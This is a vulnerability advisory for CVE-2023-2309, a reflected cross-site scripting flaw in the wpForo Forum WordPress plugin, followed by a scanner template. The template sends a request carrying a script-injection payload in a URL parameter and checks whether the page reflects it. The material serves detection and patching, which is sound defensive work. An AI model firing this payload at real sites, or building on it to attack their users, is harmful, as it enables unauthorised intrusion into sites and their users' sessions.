The wpForo Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpforo_debug’ function in versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
PoC代码[已公开]
id: CVE-2023-2309
info:
name: wpForo Forum <= 2.1.8 - Cross-Site Scripting
author: s4e-io
severity: medium
description: |
The wpForo Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpforo_debug’ function in versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
remediation: Fixed in 2.1.9
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-2309
- https://wpscan.com/vulnerability/1b3f4558-ea41-4749-9aa2-d3971fc9ca0d/
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforo/wpforo-forum-218-reflected-cross-site-scripting-via-wpforo-debug
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-2309
epss-score: 0.11967
epss-percentile: 0.93498
cpe: cpe:2.3:a:gvectors:wpforo_forum:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: gvectors
product: wpforo_forum
framework: wordpress
publicwww-query: "/wp-content/plugins/wpforo/"
tags: cve,cve2023,wordpress,wpforo,wpscan,wp-plugin,wp,xss,vuln
http:
- raw:
- |
GET /community/main-forum/?param=%3Cscript%3Ealert(/document.domain/)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body,"<script>alert(/document.domain/)</script>","wpforo")'
- 'contains(header,"text/html")'
- "status_code == 200"
condition: and
# digest: 4b0a00483046022100b7171a88220ed8d25eaf3927417fd4cc889b0ce9fa9a6280300497c73eb42cd5022100ffc8ec07155b9a522dc082a4835f756290d098f67c1850811f804895b3d15ae7:922c64590222798bb761d5b6d8e72950